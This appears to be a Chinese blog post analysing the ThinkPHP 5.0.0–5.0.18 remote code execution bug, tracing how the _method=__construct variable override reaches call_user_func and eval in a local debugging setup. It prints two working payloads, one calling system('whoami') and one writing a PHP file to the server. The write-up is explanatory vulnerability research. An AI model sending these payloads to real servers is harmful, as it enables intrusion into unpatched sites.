Thinkphp5.0.0-5.0.18RCE分析

2021-06-26 0 3,148

0x00.前言

本篇文章基于thinkphp5.*框架,分析两种payload的构成以及执行流程

准备

Windows+phpstudy

tp版本:thinkphp_5.0.5_full

php版本:5.4.45

phpstorm+xdebug

0x01.Payload1

开始分析

漏洞代码位于:thinkphp/library/think/Request.php

首先放上payload:

s=whoami&_method=__construct&method=post&filter[]=system

Thinkphp5.0.0-5.0.18RCE分析

method方法主要用来判断请求方式,首先分析一下这段代码的逻辑:通过$_SERVERserver方法获取请求类型,如果不存在method变量值,那么就用表单请求类型伪装变量覆盖method的值,那么就可以利用这点调用其他函数,预定义里面methodfalse,那么就会直接走下一步的是否存在表单覆盖变量

Thinkphp5.0.0-5.0.18RCE分析

get方法中获取var_method的值,值为_method

Thinkphp5.0.0-5.0.18RCE分析

config.php已经有默认值,但我们构造的payload里面传值_method=__construct就是变量覆盖,因此下一步会走到__construct方法

1
2
// 表单请求类型伪装变量
'var_method'             ='_method',

继续往下跟代码,来到__construct构造方法,将数组option进行遍历操作,如果option的键名为该属性的话,则将该同名的属性赋值给$option的键值,如果filter为空的空,就调用默认的default_filter

Thinkphp5.0.0-5.0.18RCE分析

filter方法:

1
2
3
4
5
6
7
8
public function filter($filter = null)
{
    if (is_null($filter)) {
        return $this->filter;
    else {
        $this->filter = $filter;
    }
}

而默认的过滤方法为空

1
2
// 默认全局过滤方法 用逗号分隔多个
'default_filter'         => '',

在构造函数里面走完filter之后会走input方法,继续跟进

Thinkphp5.0.0-5.0.18RCE分析

继续往下跟,这里的method已经为post方法,所以进入param方法里的post是直接break

Thinkphp5.0.0-5.0.18RCE分析

下一步进入filtervalue方法中,可以看到我们要传入的值已经全部传进了,call_user_func()函数将我们传入的$filter=system作为回调函数调用,也就达到了RCE的目的

Thinkphp5.0.0-5.0.18RCE分析

Thinkphp5.0.0-5.0.18RCE分析

Thinkphp5.0.0-5.0.18RCE分析

0x02.Payload2

前提

该利用的重点在于在一定条件下可以使用::来调用非静态方法

首先我们需要了解静态属性和静态方法是如何调用的,静态属性一般使用self::进行调用,但是在该篇博客上面使用了::的骚操作,用::调用非静态方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class People{
    static public $name = "pana";
    public $height = 170;
    static public function output(){
        //静态方法调用静态属性使用self
        print self::$name."<br>";
        //静态方法调用非静态属性(普通方法)需要先实例化对象
        $t = new People() ;
        print $t -> height."<br>";
    }
    public function say(){
        //普通方法调用静态属性使用self
        print self::$name."<br>";
        //普通方法调用普通属性使用$this
        print $this -> height."<br>";
    }
}
$pa = new People();
$pa -> output();
$pa -> say();
//可以使用::调用普通方法
$pan = People::say();

可以看到最后的输出,仍然输出了name的值,但是却没有输出height的值

Thinkphp5.0.0-5.0.18RCE分析

原因在于:php里面使用双冒号调用方法或者属性时候有两种情况:

直接使用::调用静态方法或者属性

::调用普通方法时,需要该方法内部没有调用非静态的方法或者变量,也就是没有使用$this,这也就是为什么输出了name的值而没有输出height

了解上面这些,我们就可以开始下面的分析

0x03.分析

先放上流程图(本人比较菜鸡 所以只能用这种方法记录下来流程)

Thinkphp5.0.0-5.0.18RCE分析

首先放上payload

1
path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=thinkviewdriverPhp::Display&method=GET

payload的分析

使用file_put_contents()写入,使用变量覆盖将_method的值设置为_construct,这里的set_error_handler是设置用户自定义的错误处理程序,能够绕过标准的php错误处理程序,接下来就是调用thinkviewdriverPhp下面的Display方法,因为我们要利用里面的

1
eval('?>' . $content);

完成RCE的目的

Thinkphp5.0.0-5.0.18RCE分析

虽然会报错,但是不影响写入

Thinkphp5.0.0-5.0.18RCE分析

首先从App.php开始,在routeCheck方法处打断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static function routeCheck($request, array $config)
{
    $path   = $request->path();
    $depr   = $config['pathinfo_depr'];
    $result = false;
    // 路由检测
    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
    if ($check) {
        // 开启路由
        if (is_file(RUNTIME_PATH . 'route.php')) {
            // 读取路由缓存
            $rules = include RUNTIME_PATH . 'route.php';
            if (is_array($rules)) {
                Route::rules($rules);
            }
        else {
            $files = $config['route_config_file'];
            foreach ($files as $file) {
                if (is_file(CONF_PATH . $file . CONF_EXT)) {
                    // 导入路由配置
                    $rules = include CONF_PATH . $file . CONF_EXT;
                    if (is_array($rules)) {
                        Route::import($rules);
                    }
                }
            }
        }

这一步主要是获取$path的值,也就是我们要走的路由captcha

Thinkphp5.0.0-5.0.18RCE分析

继续往下走,$result = Route::check($request, $path, $depr, $config[‘url_domain_deploy’]);,跟进check方法,这里面的重点就是获取method的值,$request->method()

Thinkphp5.0.0-5.0.18RCE分析

这里是调用var_method,因为我们传入了_method=__construct,也就是变量覆盖,这些步骤和上面的几乎一样

Thinkphp5.0.0-5.0.18RCE分析

那下一步继续跟进__construct,走完construct函数后,可以看到大部分的值都是我们希望传进去的,这时method的值为GET,也就是为什么payload里面要传GET的原因

Thinkphp5.0.0-5.0.18RCE分析

下一步要获取当前请求类型的路由规则

1
$rules = self::$rules[$method];

可以看到这里的ruleroute的值都发生了改变,路由值为thinkcaptchaCaptchaController@index

Thinkphp5.0.0-5.0.18RCE分析

接下来跟进routeCheck()方法,走完这个方法后,返回result

Thinkphp5.0.0-5.0.18RCE分析

接下来进入dispatch方法

Thinkphp5.0.0-5.0.18RCE分析

Thinkphp5.0.0-5.0.18RCE分析

接下来进入param方法,合并请求参数和url地址栏的参数

1
$this->param = array_merge($this->get(false), $vars, $this->route(false));

Thinkphp5.0.0-5.0.18RCE分析

然后进入get方法,继续跟进input方法

Thinkphp5.0.0-5.0.18RCE分析

Thinkphp5.0.0-5.0.18RCE分析

然后就会回到filterValue方法执行任意方法

Thinkphp5.0.0-5.0.18RCE分析

Thinkphp5.0.0-5.0.18RCE分析

0x04.参考文章:

https://y4tacker.blog.csdn.net/article/details/115893304

https://y4tacker.blog.csdn.net/article/details/115893304

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 Thinkphp5.0.0-5.0.18RCE分析 https://www.83ym.com/85.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务